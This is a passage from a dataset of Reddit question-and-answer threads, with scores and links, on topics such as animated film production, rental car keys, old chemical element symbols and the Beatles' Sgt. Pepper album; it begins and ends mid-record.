software developer.\n\nSome of the best tech I've put out for a show has been in the last 4 months of a production.\n\nSomeone else in this thread mentioned that they lock down tech a year or two out. I find that hard to believe. Every production I've worked on and people from other studios I've spoken to agree that they lock down as late as they can unless the change is significant that it causes concern.\n\nTHough that is a studio and show based policy so it can be very different at other studios\n\n## Misconceptions \n\nThis thread has a lot of misconceptions.\n\n1. **Pixar has a better process than other studios so doesn't do rewrites etc.** This is plain wrong. They're actually infamous for rewriting a lot of their projects when it doesn't work. \n\n  The reason they have such good films is that they were pioneers in the field. They have a lot of talented people, they have fewer execs weighing in on the stories and a lot of research and development money.\n\n2. **Movies are rendered in an Engine** Also wrong. AN Engine usually refers to a real time renderer. Movies are, with a few exceptions, solely done in offline software renderers. The complexity of the visuals can not be done in realtime. \n\n3. **Movies take years to render** A producer would likey cut a shot so expensive that it takes that long to render. We'd find tricks and shortcuts to bring its time down. Artists need feedback on what they're doing. When movie studios say it took thousands of hours to render, they're counting every artist kicking off in progress test renders too. \n\n  Shots do take a long time to render, but usually the longest ones are overnight renders.\n\n---------------------------------------------\n\nIn short, film and game productions are living breathing things. They change completely throughout the  project. What you start with is often not what you end up with at all. Hopefully that change  is for the better.", "There are always creative changes but there's always a comedy pass at the end to lighten up the normally dry script.", "I can speak for games.\n\nGraphics aren't locked down at the start of development. Most art assets are built at higher resolution than will be used. Then as everything comes together you optimize and cut X polygons here and usea less detailed texture mip there in order to hit your perf target. However at the same time that perf target has changed over the two years as engineering has optimized various things to help you squeeze more out. That's why remasters can be cheap, they just go pull the high res assets and boom free upgrade\n", "This is just a response to your point about technology on an animated film. As others have mentioned, the technology on an animated film changes over the course of a film so it's not strictly two years old. They do need to lock off on the tech at some point to ensure consistency when they start to render final pixels. In any event, two year old technology on a feature animation film would still be considered fairly cutting edge. This is standard for offline rendering and is a very different situation from the realtime rendering engines that are used on computer games. For example, since you specifically brought up Zootopia, their renderer is only four years old (it was first used on Big Hero 6) and most everyone would consider it state of the art.\n\nYou mention their fur: they've developed some new shading models specifically targeting animal hair, which is part of why it looked so good. However, it's also worth noting that the state of the art shading model for rendering fur and hair ultimately dates back to a paper from 2003! One thing to note about offline rendering is that a lot of the theory was worked out a long time ago - the classic rendering equation dates back to 1986 - and it's only in the last two years where computers have caught up to the point where we can achieve the theory without having to resort to cheats and hacks. Even so, offline rendering still takes hours and hours per frame. Realtime rendering has to pump out a frame within 1/60 of a second or less, and still has to resort to cheats. The technology for these cheats (as well as the graphics card) is the thing that has been changing much faster than the underlying theory, and this is why a two year old game engine can be so dated.\n\n(NB: am rendering software engineer.)", "There is a reason most animated feature films aren't contemporary... They usually take place is some fantasy realm, or in a past or future time.  \n\nThe real struggle is with animated tv shows.  Like family guy for instance.  They plan out their stories, but also write separate 'cutaways' that can be very relevant to current events.  They can do this because the cutaways can be produced separately and a lot quicker than an entire episode.  ", "The government usually sends us a list of what the illuminati will be pushing for in the upcoming year.", "I've worked at Pixar for quite a while.   In general, each film is associated with its own version of the toolset (anim software, renderer, 3rd party, etc).  About a year from film out, we lock the version for that show.  Consequently, yes, by the time the film comes out, it's actually using an \"older\" version of the tools. It's not uncommon to transition to another film and effectively jump ahead 2-3 years in tech. That's just the way constant development goes.  \n\nAs mentioned elsewhere, gags or small moments can be added very late -- within the last couple months is not uncommon. We're still making the film almost until release. ", "South Park is really good example of super relevant information.\n\nWatch \"**6 days to air**\" if you want to know how they do it. They're unique, and the quickest to animate cartoon, that's how they keep up to date on pop culture and stuff. They even animated Obama's inauguration the day he was voted in. \n\nIt's crazy how hard they work to push it out, animators work for just 6 months of the year, then they're *required* to have a 6 month holiday of no work so they don't burn out due to the sheer intensity of the work required.", "also the render engine they are using might have steady updates, so even hair/volumes/shaders etc that were made a couple years ago on the older version can be rendered out in the latest version closer to the time"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.unrealengine.com/what-is-unreal-engine-4"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "fp6kgl", "title": "what is animal crossing?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fp6kgl/eli5_what_is_animal_crossing/", "answers": {"a_id": ["flja0p4", "fljalpu"], "score": [14, 2], "text": ["Animal Crossing is a video game franchise by Nintendo, the latest game of which \"Animal Crossing: New Horizons\" just came out for the Nintendo Switch console. In Animal Crossing games, you play as a villager in a cute little town where all the other residents are animals, and you plant a garden, catch bugs and fish, design clothes, decorate your home with furniture, dig for gold, talk to your neighbors and listen to music. It's a very calm, relaxing game where you take care of the town you live in.   \n\n\nRight now, a calm and relaxing game turns out to be what a lot of people need, so the latest Animal Crossing game has become very popular, with many people talking about their experiences online.", "A slow-paced video game series where you live in a town and collect furniture to decorate your house, catch bugs and fish, talk to neighbors, . The game syncs with your real time so if its night in real life its night in the game."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "21dyrw", "title": "why are websites like youtube, songza, and grooveshark allowed in canada but spotify and pandora are not.", "selftext": "They're pretty much the same aren't they ? Except for the fact Youtube is video based. So what's stopping Spotify and Pandora from opening it's doors to Canada and other places ?\n\n\nEdit: Added the youtube video part.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/21dyrw/eli5_why_are_websites_like_youtube_songza_and/", "answers": {"a_id": ["cgc6xfi", "cgce0po"], "score": [16, 2], "text": ["Spotify and Pandora want to play tracks in other countries, but don't have the licenses paid for (yet or ever).\nSongza is a Canadian company and therefore plays by Canadas music licenses.\nYoutube has a lot of money so it pays for licenses for the music.\nGrooveShark is constantly sued by the music industry and is sort of like the new Napster", "Canada has some really shitty and illogical laws regarding media licensing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "18649e", "title": "Why aren't Mexicans considered Native Americans?", "selftext": "I understand that Mexicans comes from the term \"Mestinzo\" meaning mixed due to Spaniards and other Europeans coming in but I'm referring more of the Aztecs and Toltec etc. I can understand why they wouldn't be Natives of United States of America but America is also North America and South America so why the special term separating the two? Someone recently tried to tell me that Mexicans are just white because of various conquests but for many years there were natives and that still is in the blood of many Mexicans. If it's because they are mixed, no offense, but many blacks have some form of white ancestry due to slave owners but we didn't come up with a whole different term for them (even though there is a variety of differences culturally between Africans and African-Americans). So back to my original point,\" Why aren't Mexicans considered Native Americans\"?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/18649e/why_arent_mexicans_considered_native_americans/", "answers": {"a_id": ["c8by8vc", "c8byqjv", "c8byy6m", "c8ci43b"], "score": [4, 2, 4, 2], "text": ["Depending on who you talk to, many people will consider indigenous Latin Americans to be Native American. It is true that the majority of people in most Latin American countries do have at least some indigenous ancestry (i.e. \"mestizo\"), so in the North American sense could be called Native American, but for social and political reasons it is common for people in Latin American countries to identify with their European side. Still, some people will identify with their native side, and then there are truly indigenous people with little to no European ancestry (e.g. the Maya, who are very much a living people), and you can call them Native American. Or not. \n\nNow, most people in Latin American countries will simply call themselves American. Throughout Latin America, \"American\" means someone from the Americas. In Peru, at least, people will call anyone from the U.S. \"norteamericano,\" or North American. Which sometimes makes it tough to tell people I'm Canadian, especially when they think that Canada is beside Switzerland or something (yes, I've had that conversation): 'no, I'm not norteamericano, I'm from north of norteamerica. Well, yes, I'm North American, but I'm Canadian. Not American. Ok, to you I am American, because everyone from the Americas is American. But I'm not from the United States. But I have the same accent as them. Look, do you have a map?' ", "\"Mexican\" is a culture and a nationality not a race, indigenous people in Mexico do identify with their native roots but mostly they consider themselves Mexican, something neither European or indigenous but exclusive to itself.", "I'm pretty sure that \"Mexico\" [doesn't come from \"mestizo\"](_URL_0_).", "\"Native American\" is used to mean different things but as a legal term, it means indigenous person of what is now the United States. Many tribes span both the US and Mexican borders (Kumeyaay, Cocopa, Tohono O'odham, even Kickapoo). The Pascua Yaqui were allowed to relocated into the United States by the US federal government in the early 20th century, because the Mexican government was systemically annihilating them.\n\nPlenty of people regard Mexicans as being indigenous, or at least partially indigenous. \"La Raza,\" or The Race, comes from the idea that mestizo Spanish and indigenous heritage has created a new race. About 3/5 of Mexicans are mestizo.\n\nMestizo and indigenous are very different groups in Latin America. Being indigenous in Mexico implies not only having indigenous descent, but also speaking one's indigenous language and living in indigenous communities. Many indigenous Mexicans who move to the United States retain their languages, such as Mayan languages.\n\nConversely, many members of the Chicano/Xicano movement identify with an indigenous heritage; however, they differ dramatically from Native Americans (as in, from US tribes) because they do not belong to specific tribes/nations. In the US, being \"Native American\" is a unique political position beyond simply being a member of an ethnic group."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wiktionary.org/wiki/Mexihco#Classical_Nahuatl"], []]}
{"q_id": "107nqf", "title": "please explain precision and accuracy", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/107nqf/please_explain_precision_and_accuracy/", "answers": {"a_id": ["c6b33ez", "c6b35s1", "c6b3hpg"], "score": [15, 12, 2], "text": ["Let's say you have a dart board. \n\nYou are aiming for the bullseye. You throw one dart. You hit the bullseye. Your throw was accurate. \n\nNow you throw three darts. You are still aiming for the bullseye. The first dart hits the 1. The second dart hits the 1. The third dart hits the 1. You are precise, but you are not accurate.\n\nAccuracy is obtaining closeness to a value. Precision is ability to reproduce a result when the conditions are the same.", "\"My height is six feet, 1.2661 inches\" is a very precise statement.\n\nBut it's not at all accurate. I'm actually five-foot-ten.", "Both the comments from XIllusions and Corpuscle are correct for different iterations of the two words."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "eitv86", "title": "How were the Sultans of the Ottoman Empire turks after a few generations, if most of the consorts were from Europe. For example: Wouldn't generation one's kid be 50% then 25% ethnic Turkish and so on?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/eitv86/how_were_the_sultans_of_the_ottoman_empire_turks/", "answers": {"a_id": ["fcwrena"], "score": [6], "text": ["\"Ethnic\" identity in the Middle East in the pre-modern and into the modern era often had much more to do with language and religion than it did with any of our contemporary genetic conceptions. (More on that in a second.)\n\nSo for example the often fully ethnically Circassian Mamluks of Egypt in the Middle Ages were often identified as \"Turks\" by the local populace because they spoke Turkish.\n\nAs for the Ottoman Turkish Sultans, the mother of the Sultan was known as the Valide Sultan. [You can see a list of them here.](_URL_1_)\n\nAs you note, genetically the Ottoman Sultans would have been much more closely related to, say, the Circassians and other peoples from the Caucuses that made up much of their matrilineal line than they would of any Turkic people of Central Asia.\n\nThe thing is: this is largely true of the population of Turkey as well, as DNA testing is increasingly making very obvious. [This article](_URL_0_), for example, might be of interest.\n\nThe fact is that the existing populations of Anatolia didn't disappear just because the Ottomans showed up. They often converted, learned Turkish, intermarried, and became \"Turks\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://ahvalnews.com/turks/dna-based-tests-shake-turks-beliefs-their-turkishness", "https://en.wikipedia.org/wiki/Valide_sultan"]]}
{"q_id": "1id6fd", "title": "thailand's hitler fad", "selftext": "Is it just like fake counterculture, like America's dumb mustache trend? Or is it like a reference to something in the media? Just curious. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1id6fd/eli5_thailands_hitler_fad/", "answers": {"a_id": ["cb3go5t", "cb3jp0z", "cb3m7n0"], "score": [4, 10, 5], "text": ["The Hitler fad in Thailand is similar to the Che Guevara fad you see within American popular culture.\nThe Hitler fad isn't to be a offensive, it's just the Thai people just think the picture of Adolf Hitler and the Swastika is cool and don't understand why Hitler is such an offensive image to the western world.\nEDIT:Formatting", "As someone who lives in Thailand its extremely clear that nobody understands who Hitler is exactly and the atrocities that he committed. Instead he's just seen as a cool looking figure from history and it has become a trend in itself. This is helped along by the 'cool' looking uniforms and 'querky' marching of the Nazis. Kids at my school (10 year olds) like drawing swastikas on their arm, and don't understand why it pisses me off so much, just because its seen as a cool symbol. People even have swastikas tattooed on them simply because they like the way they look.\n\nIt is also important to understand that the Thai educational system is not great, especially when it comes to history. Thais know a lot about Thailand's history and are very proud of their past (having never been colonised) but are not taught much international history and often won't even know much about the Cambodian genocide, Vietnam war or Burmese history despite being their neighbours, never mind learning about a dictator on the other side of the world. \n\nI suppose it could be seen as being similar to the way in which Chairman Meow has become a meme in the West perhaps with people not understanding that he caused the deaths of 40-70 million people in China? ", "Am i the only one who thinks that this and the other examples below are a good thing?  Hear me out,  maybe the best way to take the power away from these horrible horrible people and ideas (and the people who still believe them) is to disassociate their symbolism from said movements. Imagine if in a hundred years the swastika symbol is associated in peoples minds with nothing more than any other shape?  Its lost its power. Just my opinion. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1ztulx", "title": "why do rental car companies give 2 keys that are permanently bound together?", "selftext": "What's the logic behind this, if any? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ztulx/eli5_why_do_rental_car_companies_give_2_keys_that/", "answers": {"a_id": ["cfwwsj3", "cfwwwqa", "cfwx3rt", "cfwx6dt", "cfwxtl5", "cfx656e", "cfx7pnz"], "score": [17, 7, 36, 4, 5, 3, 2], "text": ["If they are ever split up they will never get put back together again. \n\nCan you imagine the key room in the back of an Avis if they kept one of each back there?  \n\n\"Hey Bill! Time to sell that Accord, get the other key from the key room.\" \n\n\"Ok, what's it look like? \"\n\n\"Like the 100 other fucking Honda keys. May god have your mercy on your soul.\" ", "I can answer this as I worked for a terrible rental company for 4 years.\n\nThe dealerships give us two keys to the car.  At Enterprise, we used to have a warehouse that would hold all of the duplicate keys to these cars.  So if a customer lost the key, we would have to order the spare from the warehouse.  \n\nEnterprise got rid of this for cost reasons, so we had no place to put the spare keys anymore.  So they just bound them together.  At least thats what I was told from upper management.", "My mother managed a rental car business for 40 years and I remember how it used to work. New cars are purchased every year for the rental fleet. Back in the day you would receive one key and the rental company would keep one incase you got locked out of your vehicle. You would call and a rental associate would drive out and open the door for you or if you had lost your keys they would get a new key cut from the spare they kept and bring the new key to you. Often they had key cutters behind the counter or in the maintenance area. When cars were rented going to distant cities, those cars still belonged to the rental company in the city that originally supplied them. This is still true today. Once a week or so, if a rental had not been made that would bring the car back to its point of origin, a group of rental car employees would \"dead head\" all the cars from the city they were going to and pickup all of their cars in that city and bring them home. Keys often became confused in these mass car convoys so companies maintained the extras to cut new keys from at need. When the annual fleet was sold off to a wholesaler there was always a drawer full of keys left behind. I used to own thousands to play with as a child.\nIn modern times, keys are coded to the specific car and have computer chips imbedded inside them. Rental car companies can no longer afford to have employees waiting around for you to get locked out or have other trouble they can drive out and fix. Cars are computer tracked so if they go out of the original city they just stay gone until the end of the year when the wholesaler picks them up from wherever they happen to be at the time. No more mass convoys dead heading cars around. When the cars are sold at the end of the year all of the keys have to go with the vehicle. To those ends, it is just easier and more efficient to keep the coded keys together and cut new ones if you loose them since a locksmith has to become involved anyway. So, when you rent, you get a pocket full of junk to carry around with you.", "I work at a rental car company. We give customers one key when they pick up a car. The other key that came with the car gets thrown in a box and forgot about unless the first key was lost. I was looking the other day and seen keys from cars dating back as far as 2006.", "Because the company has a fleet of hundreds of cars. They cannot determine where the cars will end up.  So they do not want to deal with the hassle of getting a spare key to wherever the car may be. Also,  the rental cars are typically sold and the companies will get a higher value for the car with both keys. ", "I usually cut the cord. My pockets ain't got room for all that shit. So far I haven't gotten in trouble for it.", "Npr did a whole thing on this as recently as last week and I can't find the link!!! Maybe someone else can...."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "191co6", "title": "Why, on the periodic table, is Aluminium Al instead of A?", "selftext": "There's no A anywhere on the table, what's up with that? Same thing with Magnesium, Mg. No M anywhere.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/191co6/why_on_the_periodic_table_is_aluminium_al_instead/", "answers": {"a_id": ["c8jy23n", "c8jy4lg"], "score": [11, 5], "text": ["A lot of elements used to have different names. Chlorine was originally called \"muriaticum\" and used the symbol M. [Wikipedia](_URL_0_) has a nice list with old symbols.\n\nUnfortunately this does not answer your primary question. The symbol A was originally used for argon, but this was only discovered in 1895 ([original paper](_URL_3_)).  Aluminium was discovered a century earlier and we can see for example Mendeleev using the symbol \"Al\" in his [1871 periodic table](_URL_1_). As far as I can determine we can trace the symbol \"Al\" back to J\u00f6ns Jacob Berzelius, who wrote [this paper](_URL_2_) in 1814. His system was to give a single letter to non-metallic compounds and use two letters for metals, which forms the basis for chemical symbols as we know it.\n\nEdit: link to wikipedia does not work because it contains a \")\", not sure how to fix, sorry", "Argon, atomic number 18, was formerly designated A, up until 1957.  Similarly, chlorine used to have symbol M.\n\nI'm not sure why argon was changed to Ar, but the story of the discovery of chlorine, and the change from M to Cl, is kind of interesting.\n\nWhat we would called hydrochloric acid used to be called muriatic acid (and still is when you buy it in stores).  I'm going to call it that for the rest of this post, to make the reason for the symbol M more clear.  Back when muriatic acid was first isolated, people believed something called phlogiston theory, which says that all combustible things have something in them called phlogiston, and once they burn up, all the phlogiston is gone.  It's not true, but that's what they thought.  \n\nWhen you heat muriatic acid with certain other chemicals, it releases a gas.  This gas used to be called dephlogisticated muriatic acid.\n\nAnyways, one day a chemist named Lavoisier decided this phlogiston theory didn't hold water, and instead noted that instead of losing and \"phlogiston,\" burnt materials seemed to be GAINING something - oxygen.  Therefore, it seemed that dephlogisticated muriatic acid wasn't dephlogisticated at all, but instead the combination of oxygen and some new, as-yet unknown element.  He called it muriaticum, because it must have come from the muriatic acid, and hence he gave it symbol M.\n\nIt turns out he was slightly off.  The gas wasn't a combination of oxygen and anything else, as people discovered as they tried to isolate muriaticum unsuccessfully.  Instead, it became clear the gas was an element itself - named chlorine, after the greek word for its green-yellow color.  And so the symbol M fell into disuse.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Symbol_(chemical_element\\)#Symbols_not_currently_used", "http://en.wikipedia.org/wiki/File:Mendelejevs_periodiska_system_1871.png", "http://web.lemoyne.edu/~giunta/berzelius.html#foot4", "http://rsta.royalsocietypublishing.org/content/186/187"], []]}
{"q_id": "9ym66n", "title": "why is the beatles\u2019 sergeant peppers considered such a turning point in the history of rock and roll, especially when revolver sounds more experimental and came earlier?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9ym66n/eli5_why_is_the_beatles_sergeant_peppers/", "answers": {"a_id": ["ea2dxno", "ea2ji0n", "ea2jvf7", "ea2jvw4", "ea2ljx6", "ea2ln67", "ea2ltv5", "ea2o2lb", "ea2pabq", "ea2pehw", "ea2pxkq", "ea2qtdo", "ea2qy3i", "ea2r3h2", "ea2r7i9", "ea2saua", "ea2sjvp", "ea2sjzl", "ea2t6e9", "ea2tpw8", "ea2trg2", "ea2ub8c", "ea2vo54", "ea2wwxj", "ea2xzbh", "ea2y5bv", "ea2zh4b", "ea30056", "ea300c8", "ea30exi", "ea3125w", "ea31kva", "ea33kom", "ea349ef", "ea34lmu", "ea353j8", "ea35r1f", "ea35ubg", "ea36q20", "ea36tc3", "ea3793q", "ea379at", "ea37c1h", "ea37vzs", "ea39bmz", "ea3blls", "ea3bmar", "ea3bw0l", "ea3hjeo", "ea3ic8k", "ea3iqjv", "ea3l1u6", "ea3lkns", "ea3m3m3", "ea3oksx", "ea3p6yz", "ea3q00b", "ea3r27i", "ea3r3r1", "ea3tah7", "ea3tr9k", "ea3twna"], "score": [266, 64, 7, 99, 4604, 29, 129, 16, 116, 371, 17, 6304, 40, 9, 2, 4, 8, 16, 14, 3, 2, 2, 3, 3, 2, 2, 3, 3, 9, 2, 19, 3, 4, 8, 3, 5, 2, 2, 4, 5, 5, 3, 3, 3, 7, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 2], "text": ["Sgt Peppers was a departure from previous recordings of pop songs into much more involved music. In some sense it was in response to the Beach Boys Pet Shop Sounds record. Also the Beatles had tried an American concert tour which for them was a bad experience and wanted to focus entirely on studio recording. They had also matured as musicians out of quick three minute songs for AM radio into higher fidelity, multi-track recording technology where everyone was cutting their teeth with stereo and how to use it. Revolver was a good album by itself but Sgt. Peppers was an enormous work of varying complex compositions and experimentation. ", "I took a history of rock music class last semester and am also a huge Beatles fan. One thing my professor said about Sgt. Pepper that I found really interesting was that it merged art and music.    \n \n\nApparently up until this time music wasnt often considered a form of art. The cover of Sgt. Pepper has the Beatles standing with the likes of famous artists like Edgar Allen Poe and Fred Astaire. This kind of formed a link between art and music and insinuated that musicians were actually artists which was a big statement to make.    \n\n\n\n\ntl;dr: Sgt. Pepper (specifically the album art) basically called musicians artists which hadn't happened before and was a big deal at the time. \n", "Adding onto what dswpro said shy pepper was also the first concept album so all the songs are interconnected in some way and are part of a story. Along with that the albums artwork was all themed also, as I\u2019m sure you\u2019ve seen there costumes, this was really revolutionary along with including the lyrics to the songs. I believe most versions of the album also came with this cutout thing that had like a fake mustache and stuff that was just adding onto the artwork. One other thing that wasn\u2019t really explained well is that revolver is usually considered physchedelic and besides Eleanor rigby and tomorrow never knows most of their songs could have been preformed live for that album allowing for a tour, although this would still be very hard and I don\u2019t think they toured for that album but sgt peppers was their first serious album where they used so many advanced techniques that it would have been basically unperformable at the time period. ", "It was a combination of a variety of technical and artistic innovations. It\u2019s considered to be one of the first concept albums, they tried to do a variety of new techniques only capable within a studio, it had a creative album cover, and it had a handful of great songs. It also came along at a time when Beatlemania appeared to be winding down. John had made his Jesus comment and the band was tired of touring. People started to write them off and then they came out with a brand new great album.\n\nI also think it had a very clean sound and kind of set the stage for future pop music. If you listen to music before 1966 and music made after you can usually hear a distinct difference. I\u2019m not engineer but I think it has to do multi-layered tracking which was improving throughout the 60s. Beatles may not have been the first to do this, but they get given a lot of credit.\n\nIt\u2019s not my favourite Beatles album either, but it\u2019s just kind of been given the title as best, and that\u2019s how history remembers it.", "This was an album that brought a very different and original sonic landscape to people who were NOT used to it. Imagine waiting for months for the next Beatles album and listening to THIS. Just imagine waiting and lusting for the follow-up to Revolver with its black and white artwork and getting this colorful sleeve work that features the Beatles as you had never seen them before: long hair, moustaches, in those weird military band uniforms.   \n\n\nAnd that's even *before* you put the stylus over the record...  \n\n\nFlanger, echo, stereo imaging, distorted guitars, orchestra-driven tracks, tambouras and tablas, the whole this-is-not-the-Beatles concept, even the colorful gatefold sleeve with its who's-that trivia.  \n\n\nTry to get a hold of a list of the singles and albums that Sgt Pepper was competing against in the famous Summer of Love and you'll understand what kind of departure it was.  \n\n\nJimi Hendrix and Beach Boys were giving the Beatles a run for their money, but this album was a huge step forward.  \n\n\nNow, check the kind and size of influence this album had in the world by checking the kind of songs, artwork, fashion, words (slang even...\"turn you on...\") that came AFTER Pepper.  \n\n\nOne of the things that will stick in my mind FOREVER is the use of the word \"clutching\", in She's Leaving Home. Have you heard such an usual word in a song ever again?  \n\n\nFor me, personaly, the very first bars of A Day in the Life are hauntingly beautiful. Lennon's voice is just... different. He has such a eerie delivery never again heard or matched (by himself, I mean).  \n\n\nIf you play guitar, for instance (although bass, drums, piano, or singing certainly apply) and try to learn and play these songs, you will even find yet another layer of complexity and appreciation.  \n\n\nSometimes you need to tune your strings higher just to be able to match some solos, not to mention you will have a blast (and a hard time) trying to match the sounds you hear with the help of ready-to-go effects pedals, apps, etc, and it's then when you stop taking this music for granted and you start to understand the vital role that people like George Martin, Geoff Emerick (try to read about his recording techniques and his microphone positioning, [Send tape echo echo delay](_URL_0_)) and the engineers at EMI played in the Beatles' sonic development. Listen to the guitar sounds of the previous albums and compare them to these.  \n\n\nThe harmony work bestowed upon She's Leaving Home is beautiful, but of course you cannot appreciate it with just one listen. Find the main vocal, then try to follow John's harmonies and then George's.  \n\n\nThe cinematic lyrics of Lucy in the Sky with Diamonds leave nothing to chance. You are there, watching the newspaper taxies, no matter which taxis you're familiar with.  \n\n\nThe boldness of including a track comprised of indian instruments right in the middle of this so-called pop album.  \n\n\nAs you can see, I could go on and on. Hopefully, I have already transmitted you a fraction of what this record means to me.", "An important point is the time when the album appeared, just when the 'hippie' mentality was taking off, and whimsical escapism was a fashionable attitude to block out the reality of Vietnam.", "I believe it was also the first album which included lyrics on the back.  Supposedly,  this was Lennon's response to Dylan for suggesting that the Beatles didn't sing about anything.   ", "I feel it was a turning point for The Beatles because it felt like a concept album production, which they hadn't done before, and they were rock's poster children, so a lot of people heard a new type of rock album they might not have before The Beatles, so that's pretty big.\n\nAnother good example of this type of thing is how crazy people went over Green Day's American Idiot album when it first came out. Green Day had been playing the same songs for so many albums that it kind of mind fucked people in a good way that they could turn around and make something like that concept album.\n\n\n", "Before this, people bought rock and roll records to dance to. This marks the moment that rock music became something that you listen to.", "[Here](_URL_0_) is a list of the top 100 songs of 1967, the year that Sgt. Pepper came out. Look at it. Look. At. It. The  Turtles. The Young Rascals. The fucking Monkees. Frankie Valli. Now listen to Sgt. Pepper. Completely, totally, sometimes bizarrely revolutionary. We were like, \"What the hell is this? Well, it's the Beatles so we better check it out.\" They were consistently, year after year, doing things we had never heard or thought of before. And it was good, some of it great, stuff.", "Lots of great responses here. it's worth mentioning that Revolver *was* considered super experimental and groundbreaking. but it was really a Side 2 to Rubber Soul, so people were familiar with the boys' \"new\" sound. Big strides in the maturity of the Beatles' songwriting, and the beginning of their experimentation with studio effects. \n\nSgt. Pepper brought it alll home though, as is detailed in other comments ", "I feel like no-one has really answered your question so far, especially in regards to the Revolver part of the question. I'll try my best as a former Beatles fanatic.\n\nAs you alluded to, Revolver was quite an experimental pop record, and it was the first album where the Beatles REALLY decided to use the studio as an instrument. The wild guitar solo in Taxman played the band's bassist, the backwards guitar in I'm Only Sleeping, the raga banger that is Love You To, and not to mention the psychedelic tape-looped masterpiece that is Tomorrow Never Knows. The Beatles threw brass and string instrumentation all on this thing as well, like in Eleanor Rigby and Got to Get You. Critics and Music Pundits understand the impact and importance Revolver brings forth, and many diehards will say Revolver is their favorite Beatles record. It certainly was mine for the longest time.\n\nSgt. Pepper, however, was a different beast. In my opinion, it wasn't as musically ambitious as Revolver. However, conceptually, it changed how the artform of the album was seen. Instead of a collection of songs, it was better taken as a whole. All the songs are thematically and musically connected (The Beatles didn't exactly /intend/ this, but intention isn't important), the album art was wildly unique and fed into the album's themes. It was the first REAL album, Pet Sounds be damned (I like Pet Sounds more than any Beatles' album, so hush). This album also came out after the Beatles retired from touring, and after the double masterpiece whammy that was Strawberry Fields Forever and Penny Lane. The hype was through the roof and the Beatles trumped even that. They also won AOTY at the Grammys, which was surreal.\n\n\nIt's a landmark of an album. Revolver is fantastic, and I like it way more than Sgt. Peppers, but it isn't a landmark. Not like Peppers.\n\nEDIT: Umm, wow I was not expecting this sort of response! I wrote this up in about 5 minutes before I ran out to hang with friends, so I know it\u2019s quick and dirty, lacking a ton of history of what lead up to Revolver/Sgt. Pepper\u2019s. I just wanted shine light of that period, so it would easier to do future research! I did want to answer three questions I saw:\n\n > What do you mean \u201cformer Beatlemaniac\u201d?\n\nI was OBSESSED with the Beatles years ago. They were all I listened to for years straight, and I pretty much read every single thing possible about them. Now, I\u2019m way more chill, ha. Still love them to pieces.\n\n > You like Pet Sounds more than any Beatles album? Really?\n\nYep. The compositions and arrangements of Pet Sounds are transcendent, and the performances of each song are perfect. It\u2019s a flawless album that hasn\u2019t been touched since IMO\n\n > Zappa did it first/did it better/The Beatles suck\n\nZappa was a prolific avant-garde/experimental musician, and unlike the Beatles, he did not make music for popular consumption per se. He did not have the production/engineering chops of the Abbey Road team, and he did not prioritize making layered pop tunes. He made weird bops. He\u2019s a great musician and composer, but he and The Beatles couldn\u2019t be any more different. They affected very different circles. You can believe the Beatles suck if you want tho.\n", "I don't know that everyone would agree that Revolver was more experimental. One factor for Sgt. Pepper, is that the mind-bending \"A Day in the Life\" is (almost) the last music you're left with. I say \"almost\" because LP listeners back in the day were also treated to [a chaotic repeating outro track](_URL_0_). That leaves an impression.\n\nAdd to that the \"concept\" album factor. While the final album isn't *as* thematically cohesive as originally intended \u2014 the way some of the songs blended into one another demanded that the listener not think of the album as a collection of songs, but as a piece of work in and of itself.\n\nAdd to that the presentation. Not only was the cover an explosion of color featuring a gamelike \"who's who\" of guest stars on the cover, but they really went all out. It opened into a [gatefold](_URL_2_) (even though it wasn't a double album), and included [cutout badges and extras](_URL_1_) that made the experience feel more than *just* a record.\n\n---\n\nTLDR: While Revolver was definitely sonically adventurous, so to was Sgt. Pepper. But in addition to that, it incorporated a conceptual dimension to it and executed it beautifully.", "Besides all of the other great things said, Sgt. Peppers was the first concept album, and the first album to play like, well, an \u201calbum\u201d\n\nBefore Sgt. Peppers (and some may argue the Velvet Underground) albums were a compilation of singles, so to speak, with no real overarching story or direction. Then the Beatles came along with this album about another band entirely called Sgt Peppers and every song blended into the next and they sounded like they were all made with the same purpose. \n\nWithout Sgt. Peppers we wouldn\u2019t have the album format as we know it today.", "It was one of the first majorly successful whole album experiences, not just a bunch of songs put together on a record", "Plus, the lyrics were right there on the back cover for anyone to read! Revolutionary! Seriously.", "I think \"Revolver\" is a much better record, but I'd argue that \"Sgt. Peppers\" is the more experimental of the two. The production is incredibly dense and bold on some of those tunes. ", "Along with what everyone else said - prior to recording it, the Beatles traveled the world and discovered musical styles and instruments that the Western Ear has not heard before.  Where else could you have been exposed to the Sitar in 66/67?  Or the bass harmonica (extra large harmonicas) or the harpsichord?\n\nThis was not only Pre-Internet, it was pre satellite for the most part with certain exceptions.  As a matter of fact - All You Need Is Love was performed live as one of the first world-wide satellite broadcasts.  While that song was not on the album, it was recorded as part of the Sgt. Pepper sessions as was most of Magical Mystery Tour.", "It's worth 